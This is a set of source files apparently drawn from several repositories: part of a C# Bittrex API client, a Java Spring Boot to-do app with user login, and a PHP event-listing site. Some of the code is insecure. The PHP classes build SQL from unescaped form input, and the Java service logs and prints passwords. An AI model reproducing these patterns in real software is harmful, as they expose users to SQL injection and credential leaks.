Double MinAmountThresh = 0.1 ) { if( !GetIsCurrencyValid( Currency ) ) return; BittrexResult<BittrexBalance> Balance = base.GetBalance( Currency ); if( !Balance.Success ) { Console.WriteLine( Balance.Message ); return; } Console.WriteLine( "{0} balance: {1:0.00000000}", Currency, Balance.Result.Available ); if( Balance.Result.Available >= MinAmountThresh ) base.Withdraw( Currency, Balance.Result.Available, DestAddress ); } } }<file_sep>/Bittrex/BittrexSigner.cs //================================================================================= // // Created by: MrYukonC // Created on: 22 OCT 2017 // //================================================================================= // // MIT License // // Copyright (c) 2017 MrYukonC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // //================================================================================= using System; using System.Text; using System.Security.Cryptography; namespace MYC { public class BittrexSigner : Signer { //========================================================== public BittrexSigner( String APICall, String APIArgs, String APIKey, String APISecret ) { Sign( APICall, APIArgs, APIKey, APISecret ); } //========================================================== public override void Sign( String APICall, String APIArgs, String APIKey, String APISecret ) { String APICallFinal = APICall + "?"; if( !String.IsNullOrEmpty( APIArgs ) ) APICallFinal += APIArgs + "&"; APICallFinal += "apikey=" + APIKey + "&nonce=" + DateTimeOffset.Now.ToUnixTimeMilliseconds(); // https://stackoverflow.com/questions/8063004/what-is-the-net-equivalent-of-the-php-function-hash-hmac // https://msdn.microsoft.com/en-us/library/system.security.cryptography.hmacsha512(v=vs.110).aspx HMACSHA512 SHA512Hash = new HMACSHA512( System.Text.Encoding.UTF8.GetBytes( APISecret ) ); Byte[] HashResult = SHA512Hash.ComputeHash( System.Text.Encoding.UTF8.GetBytes( APICallFinal ) ); // https://stackoverflow.com/questions/623104/byte-to-hex-string String APICallSigned = BitConverter.ToString( HashResult ).Replace( "-", String.Empty ); base.SignInternal( APIKey, APISecret, APICallFinal, APICallSigned ); } } }
5c7d30cc1f68950d009c4d270faef1b788dac9b0
[ "Markdown", "C#" ]
6
Markdown
evrimulgen/ExchangeNET
ee8b319484145463e7e2eb44285cabe23e8fdf42
bb67bc97c7155dc8b13c556c7d68d03c98b47fe7
refs/heads/master
<file_sep>package org.example.services; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.example.model.AccountDto; import org.example.model.AccountEntity; import org.example.repository.AccountRepository; import org.example.tools.Hashing; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.web.bind.annotation.CrossOrigin; import javax.servlet.http.HttpSession; import java.util.List; import java.util.stream.Collectors; @Slf4j @Service @AllArgsConstructor public class UserRegisterService { @Autowired AccountRepository accountRepository; public String registerUser(AccountDto accountDto){ String userName = accountDto.getUserName(); String password = <PASSWORD>(accountDto.getPassword()); String email = accountDto.getEmail(); log.info(password); if(userName.equals("") || password.equals("") || email.equals("")){ return "failed"; } AccountEntity accountEntity = new AccountEntity(); accountEntity.setUserName(userName); accountEntity.setEmail(email); accountEntity.setPassword(password); if(accountRepository.findByUserName(userName) != null){ return "failed"; } accountRepository.save(accountEntity); return "success"; } public Boolean loginUser(AccountDto accountDto){ String userName = accountDto.getUserName(); String password = <PASSWORD>.<PASSWORD>(accountDto.getPassword()); String email = accountDto.getEmail(); log.info(password); if(userName.equals("") || password.equals("") || email.equals("")){ return false; } if(accountRepository.findByUserNameAndPassword(userName, password) == null){ return false; } return true; } public void getUserList(){ accountRepository.findAll().stream() .forEach(a -> System.out.println(a.getUserName() + a.getPassword())); } } <file_sep>package org.example.interceptor; import lombok.extern.slf4j.Slf4j; import org.example.tools.Sessions; import org.springframework.stereotype.Component; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; @Slf4j @Component public class LoginInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { HttpSession httpSession = request.getSession(); String userName = (String)httpSession.getAttribute(Sessions.SESSION_ID); log.info(userName); if (userName == null) { response.setContentType("text/html"); response.getOutputStream().println("LOGIN REQUIRED!"); return false; } return true; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { //HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { //HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } } <file_sep>package org.example.services; import org.example.model.AccountDto; import org.example.model.AccountEntity; import org.example.model.TodoEntity; import org.example.model.TodoRequest; import org.example.repository.AccountRepository; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.mockito.AdditionalAnswers; import org.mockito.InjectMocks; import org.mockito.Mock; import org.mockito.junit.jupiter.MockitoExtension; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.mockito.ArgumentMatchers.any; import static org.mockito.Mockito.when; @ExtendWith(MockitoExtension.class) public class UserRegisterServiceTest { @InjectMocks private UserRegisterService userRegisterService; @Mock private AccountRepository accountRepository; @Test public void registerUserTest(){ AccountDto accountDto = new AccountDto(); accountDto.setEmail("123"); accountDto.setUserName("123"); accountDto.setPassword("123"); String actual = this.userRegisterService.registerUser(accountDto); assertEquals("success", actual); accountDto.setEmail(""); accountDto.setUserName("123"); accountDto.setPassword("123"); actual = this.userRegisterService.registerUser(accountDto); assertEquals("failed", actual); } } <file_sep>https://hospitable-timimus-365.notion.site/To-Do-List-Web-App-e5832f3ac4e54cb3972ed879b4da655a # 📜To Do List Web App ### 토이 프로젝트 참가자 : 권희창, 남윤한 ### 📋기술 스텍 **Backend** - SpringBoot + JPA - MySQL - AWS **Frontend** - React 문서화 - Swagger ### 📋기능 리스트 - User ID, Passward로 로그인 기능 - 유저별, 날짜별 ToDoList 한눈에 출력 - ToDoList 생성, 삭제 기능 - 완료한 항목 체크 기능 - 반복 일정 등록 기능 ### 📋할일 - [x] API 설계 및 DB 설계 - [x] AWS EC2 배포 - [ ] RDS 연동 - [x] 회원가입, 로그인 기능 구현 - [x] 로그인 User별 ToDo 등록 기능 - [x] Swagger 추가 ### 📋DB 설계 UserTable - Long index - String userid - String passward ToDoTable - Long id - String title - Long order - Boolean completed - Boolean repeated - String date - String userid [📋API 명세](https://www.notion.so/787955d945a64e29a2f8f6f6658cb5b8) <file_sep>package org.example.model; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; @Data @NoArgsConstructor @AllArgsConstructor public class TodoUserResponse { private Long id; private String title; private Long order; private Boolean completed; private Boolean repeated; private String date; private String userid; private String url; public TodoUserResponse(TodoUserEntity todoUserEntity) { this.id = todoUserEntity.getId(); this.title = todoUserEntity.getTitle(); this.order = todoUserEntity.getOrder(); this.completed = todoUserEntity.getCompleted(); this.repeated = todoUserEntity.getRepeated(); this.date = todoUserEntity.getDate(); this.userid = todoUserEntity.getUserid(); this.url = "http://localhost:8080/" + this.userid + "/" + this.id; } } <file_sep>package org.example.services; import lombok.AllArgsConstructor; import org.example.model.TodoEntity; import org.example.model.TodoRequest; import org.example.model.TodoUserEntity; import org.example.model.TodoUserRequest; import org.example.repository.TodoRepository; import org.example.repository.TodoUserRepository; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Service; import org.springframework.web.server.ResponseStatusException; import javax.transaction.Transactional; import java.util.List; import java.util.Optional; @Service @AllArgsConstructor public class TodoUserService { private final TodoUserRepository todoUserRepository; /** * Userid에 해당하는 Todo 아이템 추가 */ public TodoUserEntity userAdd(TodoUserRequest request) { TodoUserEntity todoUserEntity = new TodoUserEntity(); todoUserEntity.setTitle(request.getTitle()); todoUserEntity.setOrder(request.getOrder()); todoUserEntity.setCompleted(request.getCompleted()); todoUserEntity.setRepeated(request.getRepeated()); todoUserEntity.setDate(request.getDate()); todoUserEntity.setUserid(request.getUserid()); return this.todoUserRepository.save(todoUserEntity); } /** * Userid, Id에 해당하는 Todo 아이템 조회 */ public TodoUserEntity searchByUseridAndId(String userid, Long id) { return this.todoUserRepository.findByUseridAndId(userid, id) .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND)); } /** * Userid 전체 Todo 아이템 목록 조회 */ public List<TodoUserEntity> searchUseridAll(String userid) { return this.todoUserRepository.findByUserid(userid); } /** * Userid, id Todo 아이템 수정 */ public TodoUserEntity updateByUseridAndId(String userid, Long id, TodoUserRequest request) { Optional<TodoUserEntity> opt = this.todoUserRepository.findByUseridAndId(userid, id); //Userid, Id로 검색되는 내용이 없을경우 throw Exception TodoUserEntity todoUserEntity = opt.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND)); if (request.getTitle() != null) { todoUserEntity.setTitle(request.getTitle()); } if (request.getOrder() != null) { todoUserEntity.setOrder(request.getOrder()); } if (request.getCompleted() != null) { todoUserEntity.setCompleted(request.getCompleted()); } if (request.getRepeated() != null) { todoUserEntity.setRepeated(request.getRepeated()); } if (request.getDate() != null) { todoUserEntity.setDate(request.getDate()); } return this.todoUserRepository.save(todoUserEntity); } /** * Userid Id Todo 아이템 삭제 */ @Transactional public void deleteByUseridAndId(String userid, Long id) { this.todoUserRepository.deleteByUseridAndId(userid, id); } /** * Userid 전체 Todo 아이템 목록 삭제 */ @Transactional public void deleteUseridAll(String userid) { this.todoUserRepository.deleteByUserid(userid); } } <file_sep>package org.example.repository; import org.example.model.TodoEntity; import org.example.model.TodoUserEntity; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.stereotype.Repository; import java.util.List; import java.util.Optional; @Repository public interface TodoUserRepository extends JpaRepository<TodoUserEntity, Long> { Optional<TodoUserEntity> findByUseridAndId(String userid, Long id); List<TodoUserEntity> findByUserid(String userid); void deleteByUseridAndId(String userid, Long id); void deleteByUserid(String userid); }
9f768ed1607928702cd75fe47653e57a3717e570
[ "Markdown", "Java" ]
7
Java
HEECHANG7832/ToDoListWepApp
8b7751d8416240e157c82c72465145e5f9f2f8b3
8eb59dbe7d8c099a5b43dbbe0dfd879b060032af
refs/heads/master
<repo_name>hfutwyy/nodeconf<file_sep>/lib/config.js /** * @file Node.js配置文件读取类 * 1.支持json及ini类型文件解析及读取 * 2.相同路径的配置文件内存中缓存,避免不必要的文件IO * 3.支持文件变动时热加载 * 4.支持文件变动时回调 * @author weiyanyan(<EMAIL>) */ var fs = require('fs'); var configStorage = require('./common_util.js'); var jsonUtil = require('./json_util.js'); var iniUtil = require('./ini_util.js'); var storage = require('./storage.js'); /** * 配置管理类构造函数 * * @param {string} filePath 要读取的配置文件地址 * @param {boolean=} isReloadOnChange 配置文件变化时是否自动重新加载文件 * @param {Function=} changeCallback 配置文件变化时工作进程回调函数(不传此参数时不回调工作进程) * @class */ function Config(filePath, isReloadOnChange, changeCallback) { // 由filepath,计算绝对路径,并判断文件是否存在 this.absolutePath = configStorage.getAbsolutePath(filePath); var isConfigFileExists = configStorage.isFileExists(this.absolutePath); if (!isConfigFileExists) { // 文件不存在异常 throw new Error('传入的配置文件不存在.'); } // 配置文件变化时,是否重新加载配置文件 this.isReloadOnChange = !!isReloadOnChange; if (this.isReloadOnChange) { // 保存this指针,便于文件变动回调函数使用 var self = this; fs.watch(this.absolutePath, function (event) { if (event === 'change') { var configs = self.parseConfigFile(self.absolutePath); storage.set(self.storageKey, configs); } }); } // 配置文件变化时,工作进展回调函数 if (typeof changeCallback === 'function') { var monitorRes = configStorage.attachFileMonitor(this.absolutePath, changeCallback); if (!monitorRes) { throw new Error('对文件:' + this.absolutePath + ',添加监控错误.'); } } // 根本传入的配置文件路径,变化时是否重新加载构造存储时对应的Key this.storageKey = this.generateStorageKey(); // 当已经将配置信息读取之后,再次读取时,会直接走内存缓存 if (!storage.isFileCached(this.storageKey)) { var configs = this.parseConfigFile(this.absolutePath); storage.set(this.storageKey, configs); } } /** * 根据配置文件绝对路径、变动时是否重新加载,生成存储时对应的唯一Key * * @return {string} 生成的唯一key */ Config.prototype.generateStorageKey = function () { return [this.absolutePath, '*', this.isReloadOnChange].join('_'); }; /** * 解析配置文件信息 * * @param {string} filePath 要读取的配置文件地址 * @return {Object} 配置结果 */ Config.prototype.parseConfigFile = function (filePath) { // 根据文件扩展名,解析不同类型文件 var fileExtension = configStorage.getFileExtension(filePath).toLowerCase(); switch (fileExtension) { case '.ini': return iniUtil.parseFile(filePath); break; case '.json': return jsonUtil.parseFile(filePath); break; default : throw new Error('不支持的配置文件类型' + fileExtension + ',只支持.json及.ini类型配置文件.'); } }; /** * 根据配置键获取值 * * @param {string} configKey 配置项key * @return {Object|string} 配置项值 */ Config.prototype.getConfig = function (configKey) { return storage.get(this.storageKey, configKey); }; exports.Config = Config;<file_sep>/lib/ini_util.js /** * @file JSON文件读取与解析通用方法 * @author weiyanyan(<EMAIL>) */ var fs = require('fs'); var iniUtil = exports; /** * 解析Ini文件,并返回结果 * * @param {string} filePath 文件路径 * @param {string=} encoding 文件编码 * @return {Object} 配置信息 */ iniUtil.parseFile = function (filePath, encoding) { encoding = encoding || 'utf8'; var fileContent = fs.readFileSync(filePath, encoding); var regex = { section: /^\s*\[\s*([^\]]*)\s*\]\s*$/, param: /^\s*([\w\.\-\_]+)\s*=\s*(.*?)\s*$/, comment: /^\s*;.*$/ }; var configValue = {}; var lines = fileContent.split(/\r\n|\r|\n/); var section = null; lines.forEach(function (line) { if (regex.comment.test(line)) { return; } if (regex.param.test(line)) { var match = line.match(regex.param); if (section) { configValue[section][match[1]] = match[2]; } else { configValue[match[1]] = match[2]; } } else if (regex.section.test(line)) { var match = line.match(regex.section); configValue[match[1]] = {}; section = match[1]; } else if (line.length === 0 && section) { section = null; } }); return configValue; };<file_sep>/README.md # nodeconf Configuration module for node.js. 1.support json or ini config files 2.callback when config file changed 3.reload when config file changed<file_sep>/lib/common_util.js /** * @file nodeconf通用方法 * @author weiyanyan(<EMAIL>) */ var path = require('path'); var fs = require('fs'); var commUtil = exports; /** * 获取绝对路径 * * @param {string} filePath 文件路径,当不存在时,获取当前目录的绝对路径 * @return {string} 文件绝对路径 */ commUtil.getAbsolutePath = function (filePath) { return path.resolve(filePath || './'); }; /** * 判断文件是否存在(当传入文件夹时,返回假) * * @param {string} filePath 文件路径 * @return {boolean} 成功返回true,否则返回false */ commUtil.isFileExists = function (filePath) { if (!filePath) { return false; } var existsRes = fs.existsSync(filePath); if (!existsRes) { return false; } // 当为文件夹时返回false var stat = fs.lstatSync(filePath); return !stat.isDirectory(); }; /** * 获取文件扩展名 * * @param {string} filePath 文件路径 * @return {boolean|string} 失败返回false,成功返回文件扩展名 */ commUtil.getFileExtension = function (filePath) { // 判断文件是否存在,不存在时返回false if (!this.isFileExists(filePath)) { return false; } return path.extname(filePath); }; /** * 监控文件变化 * * @param {string} filePath 文件路径 * @param {Function} onChangeCallback 变化时回调函数 * @return {boolean} 监控成功返回true,否则返回false */ commUtil.attachFileMonitor = function (filePath, onChangeCallback) { if (!this.isFileExists(filePath) || typeof onChangeCallback !== 'function') { return false; } // 进行文件检测 fs.watch(filePath, onChangeCallback); return true; }; <file_sep>/test/data/inidemo.ini iniconfig_url=www.baidu.com iniconfig_name=weiyanyan ; comments are not include in config file [group1] first_name=yanyan second_name=wei [group2] email=<EMAIL><file_sep>/usage.js /** * @file 演示如何使用nodeconf * @author weiyanyan(<EMAIL>) */ var Config = require('./'); /** * 使用演示--读取.json配置文件 * * @param {string} filePath 文件路径 * @param {string} configKey 待获取配置Key */ function readJsonConfigFile(filePath, configKey) { var confJsonObj = new Config(filePath); var configValue = confJsonObj.getConfig(configKey); console.log('配置结果为:' + configValue); } /** * 使用演示--读取.ini配置文件 * * @param {string} filePath 文件路径 * @param {string} configKey 待获取配置Key */ function readIniConfigFile(filePath, configKey) { var confIniObj = new Config(filePath); var configValue = confIniObj.getConfig(configKey); console.log('配置结果为:' + configValue); } /** * 使用演示--读取配置文件,并且当文件修改后重新加载 * 注:由于在某些IDE(如WebStorm)中直接更改文件,被认为是两次rename,不会触发配置更改 * 实测:不借助IDE修改文件,及文件直接替换都会触发重新加载 * * @param {string} filePath 文件路径 * @param {string} configKey 待获取配置Key */ function fileChangedReload(filePath, configKey) { var confWithReload = new Config(filePath, true); var configValue = confWithReload.getConfig(configKey); console.log('before change :' + configValue); // 延迟调用 var DELAY_MICROSECOND = 50000; setTimeout(function () { var confRes = confWithReload.getConfig(configKey); console.log('after change : ' + confRes); }, DELAY_MICROSECOND); } /** * 使用演示--文件变更回调 * * @param {string} filePath 文件路径 * @param {string} configKey 待获取配置Key */ function fileChangedCallback(filePath, configKey) { function fileChanged(event, file) { console.log('file be changed : ' + file); } var confWithCallback = new Config(filePath, false, fileChanged); var configValue = confWithCallback.getConfig(configKey); console.log('配置值为:' + configValue); }
435ad5b29b48091ccdc3a6d42e7fe2d8ba9998a1
[ "JavaScript", "Markdown", "INI" ]
6
JavaScript
hfutwyy/nodeconf
beb708df635ce10beed69d6fe1482602693c4ef1
cc981ddd85c59ddf99e4a7081576a3b5a329ab78
refs/heads/master
<file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 8/29/15 * Time: 11:11 AM */ class Validate { public static function validate_email($email) { // set API Access Key $access_key = '<KEY>'; // set email address $email_address = '$email'; // Initialize CURL: $ch = curl_init('http://apilayer.net/api/check?access_key='.$access_key.'&email='.$email_address.''); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Store the data: $json = curl_exec($ch); curl_close($ch); // Decode JSON response: $validationResult = json_decode($json, true); // Access and use your preferred validation result objects echo $validationResult['format_valid']; var_dump($validationResult['format_valid']); echo '<br/>'; echo $validationResult['smtp_check']; var_dump($validationResult['smtp_check']); echo '<br/>'; echo $validationResult['score']; var_dump($validationResult['score']); echo '<br/>'; echo $validationResult['domain']; var_dump($validationResult['domain']); } } $validate = new Validate(); $validate->validate_email('<EMAIL>');<file_sep><p>You need to edit this file!, it was automatically created for you!</p><file_sep>/** * Created by munabste on 9/1/2015. */ /********************* //* jQuery Multi Level CSS Menu (horizontal)- By Dynamic Drive DHTML code library: http://www.dynamicdrive.com //* Menu instructions page: http://www.dynamicdrive.com/dynamicindex1/ddlevelsmenu/ //* Last modified: Sept 6th, 08'. Usage Terms: http://www.dynamicdrive.com/style/csslibrary/tos/ *********************/ /* Mobile Menu */(function(a){a.fn.mobileMenu=function(b){var e={defaultText:"Navigate to...",className:"select-menu",subMenuClass:"sub-menu",subMenuDash:"&ndash;&nbsp;"},d=a.extend(e,b),c=a(this);this.each(function(){c.find("ul").addClass(d.subMenuClass);a("<select />",{"class":d.className}).insertAfter(c);a("<option />",{value:"#",text:d.defaultText}).appendTo("."+d.className);c.find("a").each(function(){var i=a(this),g="&nbsp;"+i.text(),h=i.parents("."+d.subMenuClass),f=h.length,j;if(i.parents("ul").hasClass(d.subMenuClass)){j=Array(f+1).join(d.subMenuDash);g=j+g}a("<option />",{value:this.href,html:g,selected:(this.href==window.location.href)}).appendTo("."+d.className)});a("."+d.className).change(function(){var f=a(this).val();if(f!=="#"){window.location.href=a(this).val()}})});return this}})(jQuery);jQuery("document").ready(function(){jQuery(".jquerycssmenu").mobileMenu({className:"mobileMenu"})}); jQuery( document ).ready( function( $ ) { "use strict"; ///////////////////////////////// // Sticky Header ///////////////////////////////// var stickyNavTop = jQuery('.main-menu').offset().top; var stickyNav = function(){ var scrollTop = jQuery(window).scrollTop(); if (scrollTop > stickyNavTop) { jQuery('.main-menu').addClass('sticky'); } else { jQuery('.main-menu').removeClass('sticky'); } }; stickyNav(); jQuery(window).scroll(function() { stickyNav(); }); ///////////////////////////////// // Accordion ///////////////////////////////// jQuery(".accordionButton").click(function(){jQuery(".accordionButton").removeClass("on");jQuery(".accordionContent").slideUp("normal");if(jQuery(this).next().is(":hidden")==true){jQuery(this).addClass("on");jQuery(this).next().slideDown("normal")}});jQuery(".accordionButton").mouseover(function(){jQuery(this).addClass("over")}).mouseout(function(){jQuery(this).removeClass("over")});jQuery(".accordionContent").hide(); }); // jQuery(document).<file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 8/28/2015 * Time: 11:42 AM */ class All_listings { public function get_listings() { $dbConnection = Dbconnection::getConnection(); //$dbConnection = mysqli_connect('localhost', 'root', '', 'zapp_base'); $list_sql = "SELECT * FROM event"; $list_query = mysqli_query($dbConnection, $list_sql); $list_record = mysqli_fetch_assoc($list_query); if(empty($list_record)) { echo "Sorry there are no events in our database"; } else { ?> <?php do{ //echo '<a href="index.php?page='.$list_record['event_name'].'"><img src=""'.$list_record['e_image'].'" alt="ek-aanhanger" width="350" height="350" />'; ///display the records echo '<a href="index.php?page='.$list_record['event_name'].'"><img src="'.$list_record['e_image'].'" alt="ek-aanhanger" width="350" height="350">'; //echo '<br/>'; //echo '<a href="../index.php?page='.$list_record['event_name'].'">'.$list_record['event_name'].'</a>'; // echo '<br/>'; } while($list_record = mysqli_fetch_assoc($list_query)); } } } // while($list_record = mysqli_fetch_assoc($list_query)) // { // echo '<br/>'; // //$p = $list_record['event_name']; //echo $list_record['event_name']; // echo '<a href="../index.php?page='.$list_record['event_name'].'>'.$list_record['event_name'].'</a>'; // } // } //} $list = new All_listings(); //$list->get_list_by_state(getenv('REMOTE_ADDR')); //echo getenv('REMOTE_ADDR'); <file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 9/1/15 * Time: 9:12 PM */ ?> <!-- Begin Main Content --> <div class="main-content"> <div class="login" style="width: 400px;"> <h3>Thank your for registering <a href="index.php?page=login"><i style="color: red;">login here!</i></h3> </div> </div><!-- end .main-content --><file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 8/31/15 * Time: 10:08 PM */ spl_autoload_register(function($class) { require_once ("class/{$class}.php"); }); ?> <!-- Begin Main Content --> <div class="main-content"> <ul class="example-1"> <?php DataBucket::get_events_list(); ?> </ul><!-- end .example-1 --> <div id="nav-below" class="pagination" style="display: none;"> <div class="nav-previous"></div> <div class="nav-next"><a href="#" >Older Entries &rsaquo;</a></div> <div class="clear"></div> </div> </div><!-- end .main-content --> <file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 8/29/15 * Time: 5:07 PM */ class Lib { //For more infomation please see this site http://wiki.textmarketer.co.uk/display/DevDoc/Wiki+Home public static function send_text() { // Simple SMS send function function sendSMS($username, $password, $to, $message, $originator) { $URL = 'http://api.textmarketer.co.uk/gateway/'."?username=$username&password=$password&option=xml"; $URL .= "&to=$to&message=".urlencode($message).'&orig='.urlencode($originator); $fp = fopen($URL, 'r'); return fread($fp, 1024); } // Example of use $response = sendSMS('myUsername', 'myPassword', '<PASSWORD>', 'My test message', 'TextMessage'); echo $response; } }<file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 8/26/2015 * Time: 9:23 AM */ spl_autoload_register(function($class) { require_once ("class/{$class}.php"); }); //include ('xframe.php'); if(!isset($_GET['page'])) { header('Location: index.php?page=home'); } //echo getcwd(); $xframe = new xframe(); $xframe->x_menu('Serge', 'lotus', 'this', 'msission', 'blog', 'service'); $xframe->x_route($_GET['page']); $xframe->get_page_content($_GET['page']); $elvis = new Elvis(); echo '$'. $elvis->format_money(100.78); $xframe->get_footer(); ?> <script > $(function() { $('div').each(function(i) { $(this).delay((i++) * 500).fadeTo(1000, 1); }) }); </script ><file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 9/1/15 * Time: 9:12 PM */ spl_autoload_register(function($class) { require_once ("class/{$class}.php"); }); ?> <!-- Begin Main Content --> <div class="main-content"> <div class="login" style="width: 400px;"> <div id="container_demo" > <a class="hiddenanchor" id="toregister"></a> <a class="hiddenanchor" id="tologin"></a> <div id="wrapper"> <div id="login" class="animate form"> <form name="login" method="post" action=""> <h1>Welcome </h1> <p> <label for="emailid" class="uname" > Your Name </label> <?=$_SESSION['username']?> </p> <p> <label for="email" class="youpasswd" > Your Email </label> <?=$_SESSION['email']?> </p> <p class="login button"> <input type="submit" name="welcome" value="Logout" /> </p> </form> </div> </div> </div><!-- end .main-content --><file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 9/1/15 * Time: 9:12 PM */ ?> <div class="login" style="width: 400px;"> <form id="contactform" method="post" action="http://anthemes.net/themes/boutique/contact-us/"> <fieldset id="contactform"> <div class="one_half_c"> <label for="contactName">Username:<span>*</span></label> <input type="text" name="userName" id="contactName" value="" class="required requiredField contactName" /> </div> <div class="one_full_c"> <label for="subject">Username:<span>*</span></label> <input type="text" name="subject" id="subject" value="" class="required requiredField subject" /> </div> <div class="one_full_c"> <label for="subject">Email:<span>*</span></label> <input type="text" name="subject" id="subject" value="" class="required requiredField subject" /> </div> <!--<div class="one_half_last_c"> <label for="emaill">Email:<span>*</span></label> <input type="text" name="emaill" id="emaill" value="" class="required requiredField email" /> </div>--> <div class="one_full_c"> <label for="subject">Password:<span>*</span></label> <input type="password" name="subject" id="subject" value="" class="required requiredField subject" /> </div> <div class="one_full_c"> <!--<label for="comments">Message:<span>*</span> </label> <textarea name="comments" id="contactmessage" rows="" cols=""></textarea>--> <input type="submit" name="submit" class="sendemail" value="Submit Message" /> <span>*</span>All Fields are mandatory! </div> <input type="hidden" name="submitted" id="submitted" value="true" /> </fieldset> </form> </div><file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 8/27/2015 * Time: 5:09 PM */ spl_autoload_register(function($class) { require_once ("class/{$class}.php"); }); ?> <link rel="stylesheet" type="text/css" href="assets/css/slide.css"> <script src="assets/js/main.js"></script> <div id="wrapper"> <div id="carousel"> <?php $list = new All_listings(); $list->get_listings(); ?> <!-- <img src="assets/img/ek-alien.gif" alt="ek-alien" width="350" height="350" /> <img src="assets/img/ek-artsen.gif" alt="ek-artsen" width="350" height="350" /> <img src="assets/img/ek-brandweer.gif" alt="ek-brandweer" width="350" height="350" /> <img src="assets/img/ek-dommel.gif" alt="ek-dommel" width="350" height="350" /> <img src="assets/img/ek-freudiaans.gif" alt="ek-freudiaans" width="350" height="350" /> <img src="assets/img/ek-kamikazepiloot.gif" alt="ek-kamikazepiloot" width="350" height="350" /> <img src="assets/img/ek-langselkaarheen.gif" alt="ek-langselkaarheen" width="350" height="350" /> --> </div> </div> <p id="source">Images: <a href="http://www.evertkwok.nl" target="_blank">evertkwok.nl</a></p> <file_sep><?php /** * Created by PhpStorm. * User: Celine * Date: 8/30/15 * Time: 7:56 PM */ spl_autoload_register(function($class) { require_once ("../class/{$class}.php"); }); class Event extends Dbconnection { public static $event_id; public static $event_title; public static $event_content; public static $event_image; public static $event_date; public static $event_cat_id; public static $event_user_id; public static $event_venue; public static $event_time_stamp; public static $event_time; public static $event_address_1; public static $event_address_2; public static $event_state; public static $event_city; public static $event_zip; public static function create_event($event_id, $event_title, $event_title, $event_content, $event_image, $event_date, $event_cat_id, $event_user_id, $event_venue, $event_time_stamp, $event_address_1, $event_address_2, $event_state, $event_city, $event_zip) { $dbConnection = Dbconnection::getConnection(); //$result = mysqli_query($dbConnection, "SELECT event_id FROM event WHERE event_name = 'Event::title'"); //print_r($result); $sql = "INSERT INTO zapp_base.event (event_id, event_name, event_heading, event_content, e_date, e_image, post_date, event_cat_id, user_id, event_venue, event_time, event_address_1, event_address_2, event_state_id, event_zip_code) VALUES (NULL, '$event_title', '$event_title', '$event_content', '$event_date', '$event_image', CURRENT_TIMESTAMP, '$event_cat_id', '$event_user_id', '$event_venue', '$event_date', '$event_address_1', '$event_address_2', '$event_state', '$event_zip')"; print_r($sql); if($event_query = mysqli_query($dbConnection, $sql)) { echo 'enter good'; $elvis = new Elvis(); //$elvis->upload_item_photo($event_image); $elvis->upload_item_photo('asset/img/'.$event_image); } else { echo 'no way jose'; } } public static function validate_event_form($event_id, $event_title, $event_title, $event_content, $event_image, $event_date, $event_cat_id, $event_user_id, $event_venue, $event_time_stamp, $event_address_1, $event_address_2, $event_state, $event_city, $event_zip) { $create_event_ok = 'N'; if(isset($_POST['submit'])) { if(empty($event_title)) { echo 'Event Name field must not be empty, please enter a name for your event'; } else { $create_event_ok = 'Y'; } if(empty($event_date)) { echo 'Please set a date for your event'; } else { $create_event_ok = 'Y'; } if(empty($event_venue)) { echo 'Please enter a venue for your event'; } else { $create_event_ok = 'Y'; } if($create_event_ok == 'Y') { $event = new Event(); $event->create_event($event_id, $event_title, $event_title, $event_content, $event_image, $event_date, $event_cat_id, $event_user_id, $event_venue, $event_time_stamp, $event_address_1, $event_address_2, $event_state, $event_city, $event_zip); } } else { echo 'Enter event info'; } } } //$event = new Event(); //$event->validate_event_form($_POST['event_id'] = null, $_POST['event_title'] = null, $_POST['event_title'] = null, $_POST['event_content'] = null, $_POST['event_image'] = null, $_POST['event_date'] = null, 1, 1, $_POST['event_venue'] = null, $_POST['event_time_stamp'] = null, $_POST['event_address_1'] = null, $_POST['event_address_2'] = null, $_POST['event_state'] = null, $_POST['event_city'] = null, $_POST['event_zip'] = null); //include ('../includes/create_event.php');<file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 8/31/2015 * Time: 